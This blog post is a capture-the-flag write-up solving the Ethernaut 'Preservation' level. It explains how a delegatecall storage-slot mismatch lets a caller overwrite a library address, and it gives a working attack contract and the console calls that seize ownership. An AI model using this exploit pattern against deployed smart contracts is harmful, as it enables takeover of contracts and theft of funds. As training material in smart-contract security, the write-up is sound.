# Ethernaut 15: Preservation

By [0xbanky](https://paragraph.com/@banky) · 2022-08-24

---

The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation

[https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F](https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F)

Investigation
=============

We have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the `storedTime` value on the `Preservation` instance. The library code being used has also been highlighted at the bottom

    contract Preservation {
    
      // public library contracts 
      address public timeZone1Library;
      address public timeZone2Library;
      address public owner; 
      uint storedTime;
      // Sets the function signature for delegatecall
      bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
    
      constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
        timeZone1Library = _timeZone1LibraryAddress; 
        timeZone2Library = _timeZone2LibraryAddress; 
        owner = msg.sender;
      }
     
      // set the time for timezone 1
      function setFirstTime(uint _timeStamp) public {
        timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
      }
    
      // set the time for timezone 2
      function setSecondTime(uint _timeStamp) public {
        timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
      }
    }
    
    // Simple library contract to set the time
    contract LibraryContract {
    
      // stores a timestamp 
      uint storedTime;  
    
      function setTime(uint _time) public {
        storedTime = _time;
      }
    }
    

Off the bat, we can see that `delegatecall` is being used to make calls to the library function. The thing to note about this low level call is that it runs functions on the library code _with the context_ of the calling contract. This means that the storage values in the `Preservation` instance are used even though the function is being run from the `LibraryContract` instance.

Solution
========

When using `delegatecall`, the caller contract accesses storage by the order it is written. ie. There is an error in this `LibraryContract` because the `storedTime` field is in the first slot, however it is in the fourth slot in `Preservation`. This means that setting `storedTime` through a delegate call will actually be setting `timeZone1Library` in the `Preservation` contract.

We can verify this with a call to the second library function.

    await contract.setSecondTime(10);
    await contract.timeZone1Library();
    // "0x000000000000000000000000000000000000000A" 
    

This can be exploited to set the `timeZone1Library` to a contract that I control. I can then make this contract set the `owner` value. My attack contract looks like this

    contract PreservationAttack {
        address public timeZone1Library;
        address public timeZone2Library;
        address public owner; 
        uint storedTime;
    
        function setTime(uint _time) public {
            owner = address(0xCDcCAD1dE51d4e2671e0930a0b7310042998c252);
        }
    }
    

The order of the storage slots is consistent with the `Preservation` contract. First, I use the exploit outlined above to set the `Preservation` contract instance to point to my library for its `timeZone1Library` after deploying `PreservationAttack`.

    await contract.setSecondTime("0xf633EbfA216aA08f9Eb6D69e3f9Af91290AFeb51")
    

Now, I simply have to call `setFirstTime` which will trigger the `setTime` method in my attacking contract.

    await contract.timeZone1Library()
    // "0xf633EbfA216aA08f9Eb6D69e3f9Af91290AFeb51" <-- My contract
    
    await contract.setFirstTime(10)
    await contract.owner()
    // "0xCDcCAD1dE51d4e2671e0930a0b7310042998c252" <-- Me :D 
    

What I learned
==============

1.  As we’ve seen before, `delegatecall` can be dangerous and needs to be used with care
    
2.  We could have used the `library` keyword for the `Library` contract instead of `contract`. This ensures that `Library` is not able to change state
    
3.  Used some skills from earlier challenges for understanding storage slots

---

*Originally published on [0xbanky](https://paragraph.com/@banky/ethernaut-15-preservation)*
